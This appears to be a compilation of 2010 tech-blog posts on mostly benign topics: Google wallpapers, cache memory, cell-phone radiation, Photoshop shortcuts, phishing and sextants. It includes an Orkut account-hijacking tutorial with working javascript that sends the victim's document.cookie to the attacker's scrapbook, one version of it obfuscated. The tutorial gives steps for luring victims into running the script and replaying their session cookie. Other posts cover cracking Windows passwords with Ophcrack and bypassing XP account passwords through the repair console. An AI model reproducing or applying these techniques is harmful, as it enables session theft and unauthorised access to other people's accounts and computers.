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Tuesday, June 15, 2010

How to Set Google's Background Image as a Wallpaper


Even if you don't want to add a background image to the Google homepage, you must admit that some of the images are beautiful. Here's how to set one of the pictures as a desktop wallpaper:

1. You should should first pick a background image. Click on "Change background image" and select an image you like.

2. If you use Internet Explorer, right-click on Google's homepage and select "set as background". That was really easy.


In other browsers it's more difficult to save the image or to set it as a wallpaper. For Firefox, right-click on the image, select "View page info", go to the "Media" tab and find the JPEG image in the list. Then you can save the image and set it as a wallpaper.

In Google Chrome it's even more difficult: you need to right-click on the image, select "Inspect element", find the last img tag from the page, right-click on the URL, select "Edit attribute" and copy the address using Ctrl+C. Now you can open the image in a new page, save it and set it as a wallpaper.

In Safari you need to enable the developer menu in the settings, go to the "Develop" menu, select "Show Web inspector" and copy the address of the last image from the page.

(Update: someone in the comments found a better way to save the image in Firefox, Chrome and Safari. Right-click at the bottom of the page and you'll find options like "Set as desktop background" or "Save image as". Thanks, ichmbch.)

3. Now you can click on "Remove background image" at the bottom of Google's homepage to hide the image. Today you may still see the default images select by Google, but that's just a full-page doodle that promotes the new feature.

Google Earth Includes a Web Browser



Google Earth 5.2 no longer uses the operating system's web browser when you click on links. Google Earth comes with a WebKit-based browser, so you'll never have to leave the application to open a Wikipedia page or the website of a local business.

"Sometimes when you want more information, you may want to click through to a link to see the full Google Places page for a business, or learn more about a photographer whose photo you really enjoy. In the past, this has required opening a link in an external browser to see the full page. For Google Earth 5.2, we've added an embedded browser that lets you browse the full web. Click on a link, and the browser pane slides across the screen. When you want to return to the Earth view, just click the Back button," explains Google.



Apparently, Google Earth uses the Qt port of WebKit (QtWebKit) and it doesn't include the V8 Javascript engine from Google Chrome. I tried to run the V8 benchmark suite in Google Earth and the result was very poor: about 10 times lower than the latest Chromium build.

As in the previous versions, Google Earth for Windows and Mac also includes a plug-in that lets you embed a Google Earth view in any web page. Google Maps is the most popular service that lets you use Google Earth in your browser. Now you can browse the Web in Google Earth and use Google Earth in a Web browser.

If you don't like the embedded browser, you can disable it by going to Tools > Options > General and checking "Show web results in external browser".

How Safe are Cell Phones?


Cell phones are almost as common as pocket change these days. It seems nearly everyone, including an increasing number of children, carries a cell phone wherever they go. Cell phones are now so popular and convenient that they are surpassing landlines as the primary form of telecommunication for many people.

Do Cell Phones Cause Cancer?
Wireless cell phones transmit signals via radio frequency (RF), the same kind of low-frequency radiation used in microwave ovens and AM/FM radios. Scientists have known for years that large doses of high-frequency radiation—the kind used in X-rays—causes cancer, but less is understood about the risks of low-frequency radiation.

Studies on the health risks of cell-phone use have produced mixed results, but scientists and medical experts warn that people should not assume no risk exists. Cell phones have been widely available for only the past 10 years or so, but tumors may take twice that long to develop.

Because cell phones haven’t been around very long, scientists haven’t been able to assess the effects of long-term cell-phone use, or to study the effects of low-frequency radiation on growing children. Most studies have focused on people who have been using cell phones for three to five years, but some studies have indicated that using a cell phone an hour a day for 10 years or more can significantly increase the risk of developing a rare brain tumor.

What Makes Cell Phones Potentially Dangerous?
Most RF from cell phones comes from the antenna, which sends signals to the nearest base station. The farther the cell phone is from the nearest base station, the more radiation it requires to send the signal and make the connection. As a result, scientists theorize that the health risks from cell-phone radiation would be greater for people who live and work where base stations are farther away or fewer in number—and research is beginning to support that theory.

In December 2007, Israeli researchers reported in the American Journal of Epidemiology that long-term cell-phone users who live in rural areas face a "consistently elevated risk" of developing tumors in the parotid gland compared with users who live in urban or suburban locations. The parotid gland is a salivary gland located just below a person’s ear.

And in January 2008, the French Health Ministry issued a warning against excessive cell phone use, especially by children, despite the lack of conclusive scientific evidence linking cell-phone use with cancer or other serious health effects. In a public statement, the ministry said: "As the hypothesis of a risk cannot be entirely excluded, precaution is justified."

How to Protect Yourself from Cell-Phone Radiation
“Precaution” seems to be the approach recommended by an increasing number of scientists, medical experts and public health agencies, from the French Health Ministry to the U.S. Food and Drug Administration (FDA). General recommendations to minimize the potential health risks include talking on cell phones only when necessary, and using a hands-free device to keep the cell phone away from your head.

If you’re concerned about your exposure to cell-phone radiation, the Federal Communications Commission (FCC) requires manufacturers to report the relative amount of RF absorbed into a user’s head (known as the specific absorption rate, or SAR) from every type of cell phone on the market today. To learn more about SAR and to check the specific absorption rate for your phone, check the FCC website.

Heavy Mobile Phone Use Increases Cancer Risk
Heavy users of wireless mobile phones face increased risks of developing severe brain tumors, according to the most comprehensive study ever conducted on the possible link between cancer and the long-term use of cellular telephones.

Researchers at the Swedish National Institute for Working Life and the University of Oerebro compared the mobile phone use of 4,400 people—half of them cancer patients, and the other half healthy people who made up the control group—and made some disturbing discoveries. [The U.S. Food and Drug Administration has since questioned the results of this study.
According to Kjell Hansson Mild, who led the study, heavy users of mobile phones have a 240 percent increased risk of developing a malignant tumor on the side of the head where they press the phone to their ear.

Published in the International Archives of Occupational and Environmental Health, the study defines “heavy use” as 2,000 hours of mobile phone use in the course of a decade, which "corresponds to 10 years' use in the work place for one hour per day."

Of the 2,200 cancer patients in the study, who ranged in age from 20 to 80 years old, 905 had a malignant brain tumor and just under one-tenth of that number were heavy mobile phone users.

"Of these 905 cases, 85 were so-called high users of mobile phones, that is they began early to use mobile and/or wireless telephones and used them a lot," said the authors of the study in a statement issued by the Institute.

In addition, the study concluded that early users, defined as people who started using a mobile phone before age 20, are also at greater risk of developing a malignant brain tumor.

The study also took into account factors such as smoking habits, working history and exposure to other known cancer-causing agents.

Limit Mobile Calls
Hansson Mild advised that the best ways for consumers to lower their risk of cancer related to mobile phones are to use their wireless phones less frequently and to use handsfree options when they do make or receive mobile calls. He said the research report about the study is not intended to cause public alarm or to raise concerns about widespread risk for the majority of people who use mobile phones.

"It does however give reason to use caution when calling on wireless phones,” he said in an interview with Dow Jones. “Use handsfree and avoid wireless when possible.”

What is Cache Memory ?


Cache (pronounced cash) memory is extremely fast memory that is built into a computer’s central processing unit (CPU), or located next to it on a separate chip. The CPU uses cache memory to store instructions that are repeatedly required to run programs, improving overall system speed. The advantage of cache memory is that the CPU does not have to use the motherboard’s system bus for data transfer. Whenever data must be passed through the system bus, the data transfer speed slows to the motherboard’s capability. The CPU can process data much faster by avoiding the bottleneck created by the system bus.

As it happens, once most programs are open and running, they use very few resources. When these resources are kept in cache, programs can operate more quickly and efficiently. All else being equal, cache is so effective in system performance that a computer running a fast CPU with little cache can have lower benchmarks than a system running a somewhat slower CPU with more cache. Cache built into the CPU itself is referred to as Level 1 (L1) cache. Cache that resides on a separate chip next to the CPU is called Level 2 (L2) cache. Some CPUs have both L1 and L2 cache built-in and designate the separate cache chip as Level 3 (L3) cache.


Cache that is built into the CPU is faster than separate cache, running at the speed of the microprocessor itself. However, separate cache is still roughly twice as fast as Random Access Memory (RAM). Cache is more expensive than RAM, but it is well worth getting a CPU and motherboard with built-in cache in order to maximize system performance.


Disk caching
applies the same principle to the hard disk that memory caching applies to the CPU. Frequently accessed hard disk data is stored in a separate segment of RAM in order to avoid having to retrieve it from the hard disk over and over. In this case, RAM is faster than the platter technology used in conventional hard disks. This situation will change, however, as hybrid hard disks become ubiquitous. These disks have built-in flash memory caches. Eventually, hard drives will be 100% flash drives, eliminating the need for RAM disk caching, as flash memory is faster than RAM.


To understand the basic idea behind a cache system, let's start with a super-simple example that uses a librarian to demonstrate caching concepts. Let's imagine a librarian behind his desk. He is there to give you the books you ask for. For the sake of simplicity, let's say you can't get the books yourself -- you have to ask the librarian for any book you want to read, and he fetches it for you from a set of stacks in a storeroom (the library of congress in Washington, D.C., is set up this way). First, let's start with a librarian without cache.

The first customer arrives. He asks for the book Three Mistakes of my Life. The librarian goes into the storeroom, gets the book, returns to the counter and gives the book to the customer. Later, the client comes back to return the book. The librarian takes the book and returns it to the storeroom. He then returns to his counter waiting for another customer. Let's say the next customer asks for Three Mistakes of my Life (you saw it coming...). The librarian then has to return to the storeroom to get the book he recently handled and give it to the client. Under this model, the librarian has to make a complete round trip to fetch every book -- even very popular ones that are requested frequently. Is there a way to improve the performance of the librarian?

Yes, there's a way -- we can put a cache on the librarian. In the next section, we'll look at this same example but this time, the librarian will use a caching system.

Let's give th­e librarian a backpack into which he will be able to store 10 books (in computer terms, the librarian now has a 10-book cache). In this backpack, he will put ­the books the clients return to him, up to a maximum of 10. Let's use the prior example, but now with our new-and-improved caching librarian.


The day starts. The backpack of the librarian is empty. Our first client arrives and asks for
Three Mistakes of my Life. No magic here -- the librarian has to go to the storeroom to get the book. He gives it to the client. Later, the client returns and gives the book back to the librarian. Instead of returning to the storeroom to return the book, the librarian puts the book in his backpack and stands there (he checks first to see if the bag is full -- more on that later). Another client arrives and asks for Three Mistakes of my Life. Before going to the storeroom, the librarian checks to see if this title is in his backpack. He finds it! All he has to do is take the book from the backpack and give it to the client. There's no journey into the storeroom, so the client is served more efficiently.

What if the client asked for a title not in the cache (the backpack)? In this case, the librarian is less efficient with a cache than without one, because the librarian takes the time to look for the book in his backpack first. One of the challenges of cache design is to minimize the impact of cache searches, and modern hardware has reduced this time delay to practically zero. Even in our simple librarian example, the latency time (the waiting time) of searching the cache is so small compared to the time to walk back to the storeroom that it is irrelevant. The cache is small (10 books), and the time it takes to notice a miss is only a tiny fraction of the time that a journey to the storeroom takes.

From this example you can see several important facts about caching:

1. Cache technology is the use of a faster but smaller memory type to accelerate a slower but larger
memory type.

2. When using a cache, you must check the cache to see if an item is in there. If it is there, it's
called a cache hit. If not, it is called a cache miss and the computer must wait for a round trip
from the larger, slower memory area.

3. A cache has some maximum size that is much smaller than the larger storage area.

4. It is possible to have multiple layers of cache. With our librarian example, the smaller but faster
memory type is the backpack, and the storeroom represents the larger and slower memory type.
This is a one-level cache. There might be another layer of cache consisting of a shelf that can
hold 100 books behind the counter. The librarian can check the backpack, then the shelf and then
the storeroom. This would be a two-level cache.

Crack Windows Administrator Password using OphCrack!




Now you can break the windows XP administrator password using the OphCrack Live CD. Ophcrack is a free Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms.




This is a new variant of Hellman's original trade-off, with better performance. It recovers 99.9% of alphanumeric passwords in seconds.The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. There is also a LiveCD version which automates the retrieval, decryption, and cracking of passwords from a Windows system.

The creators of Ophcrack released a Linux liveCD - much like Knoppix - that automatically cracks the Windows password within a seconds. Just boot from the CD/DVD drive before the BIOS attempts the hard drive and leave it for a couple of minutes.

Follow the simple steps to use it >

  • Burn this image with the CD.
  • Now restart your computer and boot it from the CD.
  • It will boot the Linux liveCD, .It might ask you ‘which partition’ you want to scan,just select the partition in which your OS is installed and everything else will be done by itself. It will find the password for every user on that disc partition.
Just Give it a try and let me know about your experiances!

Download Opera 10 Beta Web Browser for Free!



Opera has released the first beta version of the upcoming new version of its web browser, Opera 10. 10 beta has a fresh look and feel, and enhanced speed and performance. So just discover a better way to enjoy the Web by trying Opera 10 beta. It is completely free for Windows, Mac and Linux systems.





What's New in the Opera 10 Beta :


1.Opera Turbo for fast browsing on slow connections



2.
New visual tabs and sleek design



3.Customize your Speed Dial to fit your own needs.



4.Resizable search field



5.
40% faster engine and cutting-edge Web standards support




Screenshot :



How to install Opera 10 Beta :

1. Save the file to your hard drive
2. Open the downloaded file and accept the license agreement
3. Follow the setup wizard steps

Download Links for : Windows | Mac OS X | Linux x86 64

Create an Undeletable Folders in Windows XP!



It probably happens, that someone deleted a folder which contains important files and folders inside it. There are many software's online by using you can protect your files and folders. I am writing a simple tutorial which will guide you to make an undeletable folders in Win Xp to protect your data.These folders can be deleted in Dos prompt only. So normal computer users will not be able to delete these folders.







Follow the simple steps >

Step 1 : Open Command Prompt (Start > Run > type 'cmd'). Then a command prompt will be appeared.



Step 2:
Change to the directory in which you want to create your folder. Like c:\ d:\ etc. I changed to D:\ drive.


Step 3 : Now its time to crate an undeletable folder. Type md /aux/ and hit enter. It will create a folder named aux in drive D.


Step 4 : Go to D drive and try to delete folder named aux which we created just! It will give u following error.


Step 5: Try to delete in normal way, it will give you an error message whenever you try to delete it. There are many other names which you can use for creating folders.
  • lpt1 to lpt9 ( Ex. md \lpt1\\ )
  • CON
  • AUX

How to delete this Folders ?

Go to Command Prompt. If you want to delete folder named aux then type rd \aux\ and press Enter. Thats it. This command will delete folder named aux.


Just give it a try and create an undeletable folders. Feel free to share your experience with your valuable comments!

Orkut Antivirus | Protect your Orkut account from being hacked!

Orkut Antivirus | Protect your Orkut account from being hacked!


Prevents potentially harmful posts on any scrapbook to spread by removing the links and placing a warning message on the malicious post.

Detects potentially harmful posts on your scrapbook, removes the link, places a warning message (which can be disabled, if you want), automatically checks the checkbox related to theses posts allowing you to quickly delete them in just ONE CLICK!

Since there are several kinds of threats that spread through the scrapbook, it will be very much appreciated if you (users of this script and the community) give me some ideas on how to improve the detection technique.

Requirements And Steps:

Beware ! Another Trick available for Orkut account hack

Beware ! Another Trick available for Orkut account hack


While surfing on the net I found some recent articles which are just written before a week. This article tells ' How to Hack anyone's Orkut Account using Cookie stealing method.' While Looking at the replies to this topics i think that this time peoples found a working trick to hack orkut account.


Now I'm gonna reveal 'Procedure for new cookies stealing from mozilla firefox to hack gmail or orkut'

Note: My purpose is only to make u aware of whats happening around
not to teach u hacking in any sort!!


Step 1> First get firefox and the cookie editor plugin for it…u will need them…

Step 2>Then make two fake accounts…u will need one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised…the choice is yours though..

Cookie Script:

javascript:nobody=replyForm;nobody.toUserId.value=66568555;nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)); nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()

How to use cookie script?

1. Replace your number "UserId.value=66568555"

"How to Replace your Number


A) Go to your album.
B) Right click on any Photo> Properties>55886645.jpg. It will be a Eight Digit Value.
C) Now replace your value with the value in the java script "

Now your script will look like >

javascript:nobody=replyForm;nobody.toUserId.value=yournumber; nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109, 101,110,116,46,99,111,111,107,105,101));nobody.action='Scrapbook.aspx? Action.writeScrapBasic';nobody.submit()

2.Now send this Cookie script to the victim and ask him to paste in Adress bar and Press enter
3.You'll Get his cookie in your scrap book.


Now after getting a cookie...

  • Go to your home page
  • Open the cookie editor plugin(TOOLS-->COOKIE EDITOR).
  • Type orkut in the text box and click filter/refresh.look for orkut_state cookie.
  • Just double click it and replace the orkut_state part with your victims. No need to change the _umbz _umbc part...
  • THATS IT!!
  • Logout of your orkut and login again and you'll be in your victims Homepage.

There is a ANOTHER SCRIPT :which 100% works.

javascript:nobody=replyForm;nobody.toUserId.value=53093255;nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?Action.submit’;nobody.submit()

Put ur eight digit number in the place of (53093255)

Yahoo Messenger Multiple Login



I have seen some versions of yahoo messenger under the name yahoo multi messenger.Actually there is no need to use such Multi Messenger Versions. You can easily convert your Yahoo messenger to a multi messenger without downloading any third party software. Use any of the tricks below to achieve it..






Trick 1


Just download this file and merge it into the registry. Now to use Multiple yahoo's just double click yahoo messenger again and you will get the second one and so on..


OR

Trick 2


If you prefer to do the above trick manually by yourself without using any registry file then this trick is for you

1) In Run Type in regedit and press ok Goto HKEY_CURRENT_USER>Software>yahoo>pager

2) On the right pane Create a new dword value with name Plural and value 1

3) Exit the regedit and then open multiple copies of yahoo messenger by double clicking yahoo messenger again and again...

How To Recover Password In Windows XP ?


1. Place your Windows XP CD in your cd-rom and start your computer (it�s assumed here that your XP CD is bootable � as it should be - and that you have your bios set to boot from CD)

2. Keep your eye on the screen messages for booting to your cd Typically, it will be �Press any key to boot from cd�

3. Once you get in, the first screen will indicate that Setup is inspecting your system and loading files.

4. When you get to the Welcome to Setup screen, press ENTER to Setup Windows now

5. The Licensing Agreement comes next - Press F8 to accept it.

6. The next screen is the Setup screen which gives you the option to do a Repair.

It should read something like �If one of the following Windows XP installations is damaged, Setup can try to repair it�

Use the up and down arrow keys to select your XP installation (if you only have one, it should already be selected) and press R to begin the Repair process.

7. Let the Repair run. Setup will now check your disks and then start copying files which can take several minutes.

8. Shortly after the Copying Files stage, you will be required to reboot. (this will happen automatically � you will see a progress bar stating �Your computer will reboot in 15 seconds�

9. During the reboot, do not make the mistake of �pressing any key� to boot from the CD again! Setup will resume automatically with the standard billboard screens and you will notice Installing Windows is highlighted.

10. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.

11. At the prompt, type NUSRMGR.CPL and press Enter. Voila! You have just gained graphical access to your User Accounts in the Control Panel.

12. Now simply pick the account you need to change and remove or change your password as you prefer. If you want to log on without having to enter your new password, you can type control userpasswords2 at the prompt and choose to log on without being asked for password. After you�ve made your changes close the windows, exit the command box and continue on with the Repair (have your Product key handy).

Useful Adobe Photoshop Shortcut Keys


Key Shortcut

Action

Ctrl + N

To open new Document

Ctrl + M

Curves Dialogue Box

Ctrl + A

Selects all in the currently foreground document or currently

Ctrl + D

Deselects all in the currently foreground document or currently

Ctrl + J

Automatically creates a duplicate of the currently selected layer

Ctrl + K

Preferences Dialogue Box

Ctrl + L

Levels Dialogue Box

Ctrl + F4

Closes current document

Ctrl + '

Toggles Grid Lines

Ctrl + Q

Quits Photoshop altogether

Ctrl + R

Toggles Rulers

Ctrl + U

Hue/Saturation Dialogue Box

Ctrl + O

Opens New File

Ctrl + P

Print Dialogue Box

Ctrl + Z

Undo last Action

Ctrl + Tab

Toggle between open documents

Ctrl + Shift + C

Copy Merged

Ctrl + H

Toggle Extras

Ctrl + ;

Toggle Guides

Ctrl + Shift + ;

Toggle Snap

Ctrl + X

Cut

Ctrl + Alt + Shift + X

Pattern Maker

Ctrl + Shift + V

Paste into selection

Ctrl + Alt + Shift + V

Paste Outside

Ctrl + T

Transform Tool

Ctrl + Shift + T

Repeats the last performed Transform

Shift + F5 / Shift + Backspace (Key)

Fill Layer Dialogue Box

What is Phishing ? An email fraud method


Phishing is an e-mail fraud method in which the perpetrator sends out legitimate-looking email in an attempt to gather personal and financial information from recipients. Typically, the messages appear to come from well known and trustworthy Web sites. Web sites that are frequently spoofed by phishers include PayPal, eBay, MSN, Yahoo, BestBuy, and America Online. A phishing expedition, like the fishing expedition it's named for, is a speculative venture: the phisher puts the lure hoping to fool at least a few of the prey that encounter the bait.

Phishers use a number of different social engineering and e-mail spoofing ploys to try to trick their victims. In one fairly typical case before the Federal Trade Commission (FTC), a 17-year-old male sent out messages claiming to be from America Online that said there had been a billing problem with recipients' AOL accounts. The perpetrator's e-mail used AOL logos and contained legitimate links. If recipients clicked on the "AOL Billing Center" link, however, they were taken to a spoofed AOL Web page that asked for personal information, including credit card numbers, personal identification numbers (PINs), social security numbers, banking numbers, and passwords. This information was used for identity theft.

The FTC warns users to be suspicious of any official-looking e-mail message that asks for updates on personal or financial information and urges recipients to go directly to the organization's Web site to find out whether the request is legitimate.

Phishing, also referred to as brand spoofing or carding, is a variation on "fishing," the idea being that bait is thrown out with the hopes that while most will ignore the bait, some will be tempted into biting.

Phishing Filter

Phishing Filter offers dynamic new technology to help protect you from Web fraud and the risks of personal data theft. Scams known as "phishing scams” typically attempt to lure you into visiting phony Web sites where your personal information or credit card information can be collected for criminal use. This form of identity theft is growing quickly on the Web.

Three ways Phishing Filter helps protect you

Phishing Filter includes several patent-pending technologies designed to warn or block you from potentially harmful Web sites.

1.

A built-in filter in your browser that scans the Web addresses and Web pages you visit for characteristics associated with known online Web fraud or phishing scams, and warns you if sites you visit are suspicious.

2.

An online service to help block you from confirmed scams with up-to-the-hour information about reported phishing Web sites. (Phishing sites often appear and disappear in 24–48 hours, so up-to-the-hour information is critical to protection.)

3.

A built-in way for you to report suspicious sites or scams. With Phishing Filter, you can help provide valuable information on any Web sites you believe are potentially fraudulent phishing attacks. You submit the information to Microsoft and Microsoft evaluates it. If the information is confirmed, the online service adds the information to a database to help protect the community of Internet Explorer users.

Phishing Filter is available today in Windows Internet Explorer 7 & above for Windows XP Service Pack 2 (SP2), and in Windows Vista.

You must be running Windows XP SP2 or later to use Phishing Filter.

If your anti-virus software has phishing filter, then you can turn off the browser’s phishing filter.

WHAT IS A SEXTANT ?WHERE IT IS USED ?


A sextant is an instrument used to measure the angle between any two visible objects. Its primary use is to determine the angle between a celestial object and the horizon which is known as the altitude. Making this measurement is known as sighting the object, shooting the object, or taking a sight. The angle, and the time when it was measured, can be used to calculate a position line on a nautical or aeronautical chart. A common use of the sextant is to sight the sun at noon to find one's latitude. See celestial navigation for more discussion. Since the sextant can be used to measure the angle between any two objects, it can be held horizontally to measure the angle between any two landmarks which will allow for calculation of a position on a chart. A sextant can also be used to measure the Lunar distance between the moon and another celestial object (e.g., star, planet) in order to determine Greenwich time.

The scale of a sextant has a length of 16 of a full circle (60°); hence the sextant's name (sextāns, -antis is the Latin word for "one sixth", "εξάντας" in Greek). An octant is a similar device with a shorter scale (18 of a circle, or 45°), whereas a quintant (15, or 72°) and a quadrant (14, or 90°) have longer scales.

Sir Isaac Newton (1643–1727) invented the principle of the doubly reflecting navigation instrument (a reflecting quadrant - see Octant (instrument)), but never published it. Two men independently developed the octant around 1730: John Hadley (1682–1744), an English mathematician, and Thomas Godfrey (1704–1749), a glazier in Philadelphia. The octant and later the sextant, replaced the Davis quadrant as the main instrument for navigation.


Advantages

Like the Davis quadrant (also called backstaff), the sextant allows celestial objects to be measured relative to the horizon, rather than relative to the instrument. This allows excellent precision. However, unlike the backstaff, the sextant allows direct observations of stars. This permits the use of the sextant at night when a backstaff is difficult to use. For solar observations, filters allow direct observation of the sun.

Since the measurement is relative to the horizon, the measuring pointer is a beam of light that reaches to the horizon. The measurement is thus limited by the angular accuracy of the instrument and not the sine error of the length of an alidade, as it is in a mariner's astrolabe or similar older instrument.

The horizon and celestial object remain steady when viewed through a sextant, even when the user is on a moving ship. This occurs because the sextant views the (unmoving) horizon directly, and views the celestial object through two opposed mirrors that subtract the motion of the sextant from the reflection.

The sextant is not dependent upon electricity (unlike many forms of modern navigation) or anything human-controlled (like GPS satellites). For these reasons, it is considered an eminently practical back-up navigation tool for ships.


Anatomy of a sextant

Marine Sextant
Using the sextant to measure the altitude of the Sun above the horizon

The index arm moves the index mirror. The indicator points at the arc to show the measurement. The body ties everything together.

There are two types of sextants. Both types can give good results, and the choice between them is personal.

Traditional sextants have a half-horizon mirror. It divides the field of view in two. On one side, there is a view of the horizon; on the other side, a view of the celestial object. The advantage of this type is that both the horizon and celestial object are bright and as clear as possible. This is superior at night and in haze, when the horizon can be difficult to see. However, one has to sweep the celestial object to ensure that the lowest limb of the celestial object touches the horizon.

Whole-horizon sextants use a half-silvered horizon mirror to provide a full view of the horizon. This makes it easy to see when the bottom limb of a celestial object touches the horizon. Since most sights are of the sun or moon, and haze is rare without overcast, the low-light advantages of the half-horizon mirror are rarely important in practice.

In both types, larger mirrors give a larger field of view, and thus make it easier to find a celestial object. Modern sextants often have 5 cm or larger mirrors, while 19th century sextants rarely had a mirror larger than 2.5 cm (one inch). In large part, this is because precision flat mirrors have grown less expensive to manufacture and to silver.

An artificial horizon is useful when the horizon is invisible. This occurs in fog, on moonless nights, in a calm, when sighting through a window or on land surrounded by trees or buildings. Professional sextants can mount an artificial horizon in place of the horizon-mirror assembly. An artificial horizon is usually a mirror that views a fluid-filled tube with a bubble.

Most sextants also have filters for use when viewing the sun and reducing the effects of haze.

Most sextants mount a 1 or 3 power monocular for viewing. Many users prefer a simple sighting tube, which has a wider, brighter field of view and is easier to use at night. Some navigators mount a light-amplifying monocular to help see the horizon on moonless nights. Others prefer to use a lit artificial horizon.

Professional sextants use a click-stop degree measure and a worm adjustment that reads to a minute, 1/60 of a degree. Most sextants also include a vernier on the worm dial that reads to 0.2 minute. Since 1 minute of error is about a nautical mile, the best possible accuracy of celestial navigation is about 0.1 nautical miles (200 m). At sea, results within several nautical miles, well within visual range, are acceptable. A highly-skilled and experienced navigator can determine position to an accuracy of about 0.25-nautical-mile (460 m).[1]

A change in temperature can warp the arc, creating inaccuracies. Many navigators purchase weatherproof cases so that their sextant can be placed outside the cabin to come to equilibrium with outside temperatures. The standard frame designs (see illustration) are supposed to equalise differential angular error from temperature changes. The handle is separated from the arc and frame so that body heat does not warp the frame. Sextants for tropical use are often painted white to reflect sunlight and remain relatively cool. High-precision sextants have an invar (a special low-expansion steel) frame and arc. Some scientific sextants have been constructed of quartz or ceramics with even lower expansions. Many commercial sextants use low expansion brass or aluminium. Brass is lower-expansion than aluminium, but aluminium sextants are lighter and less tiring to use. Some say they are more accurate because one's hand trembles less.

Aircraft sextants are now out of production, but had special features. Most had artificial horizons to permit taking a sight through a flush overhead window. Some also had mechanical averagers to make hundreds of measurements per sight for compensation of random accelerations in the artificial horizon's fluid. Older aircraft sextants had two visual paths, one standard and the other designed for use in open-cockpit aircraft that let one view from directly over the sextant in one's lap. More modern aircraft sextants were periscopic with only a small projection above the fuselage. With these, the navigator pre-computed his sight and then noted the difference in observed versus predicted height of the body to determine his position.

After a sight is taken, it is reduced to a position by following any of several mathematical procedures. The simplest sight reduction is to draw the equal-elevation circle of the sighted celestial object on a globe. The intersection of that circle with a dead-reckoning track, or another sighting gives a more precise location.


Care

A sextant is a delicate instrument. If dropped, the arc might bend. After one has been dropped, its accuracy is suspect. Recertification is possible with surveying instruments and a large field, or with precision optical instruments. Repair of a bent arc is generally impractical.

Many navigators refuse to share their sextants, to ensure that their integrity is traceable.

Most sextants come with a neck-lanyard; all but the cheapest come with a case. Traditional care is to put on the neck lanyard before removing the sextant from its case, and to always case the sextant between sights. A used sextant lacking a case is very likely to be damaged.

To avoid worries about bent arcs, serious navigators traditionally buy their sextants new. Common wisdom is that a used sextant is probably bent. Bauer disagrees:[2]

I don't subscribe to the old maxim of maritime philosophers about never buying a used sextant. The implication is that using them ruins them. This is untrue. Sextants wear out very slowly and they usually get treated with utmost gentleness and even reverence. Damage is not hard to detect if the instrument is examined intelligently. I think I would modify that old rule to read: Don't buy a used sextant for more than half the retail cost of the least expensive, new, full-sized instrument—unless the money saved is critical to your budget.... There are many good used instruments around and by exercising caution and avoiding hasty deals, one can end up with a sound instrument for a lot less money.


Adjustment

Due to the sensitivity of the instrument it is easy to knock the mirrors out of adjustment. For this reason a sextant should be checked frequently for errors and adjusted accordingly.

There are four errors that can be adjusted by the navigator and they should be removed in the following order.

Perpendicularity error
This is when the index mirror is not perpendicular to the frame of the sextant. To test for this, place the index arm at about 60° on the arc and hold the sextant horizontally with the arc away from you at arms length and look into the index mirror. The arc of the sextant should appear to continue unbroken into the mirror. If there is an error then the two views will appear to be broken. Adjust the mirror until the reflection and direct view of the arc appear to be continuous.
Side error
This occurs when the horizon glass/mirror is not perpendicular to the plane of the instrument. To test for this, first zero the index arm then observe a star through the sextant. Then rotate the tangent screw back and forth so that the reflected image passes alternately above and below the direct view. If in changing from one position to another the reflected image passes directly over the unreflected image, no side error exists. If it passes to one side, side error exists. The user can hold the sextant on its side and observe the horizon to check the sextant during the day. If there are two horizons there is side error; adjust the horizon glass/mirror until the stars merge into one image or the horizons are merged into one.
Collimation error
This is when the telescope or monocular is not parallel to the plane of the sextant. To check for this you need to observe two stars 90° or more apart. Bring the two stars into coincidence either to the left or the right of the field of view. Move the sextant slightly so that the stars move to the other side of the field of view. If they separate there is collimation error.
Index error
This occurs when the index and horizon mirrors are not parallel to each other when the index arm is set to zero. To test for index error, zero the index arm and observe the horizon. If the reflected and direct image of the horizon are in line there is no index error. If one is above the other adjust the index mirror until the two horizons merge. This can be done at night with a star or with the moon.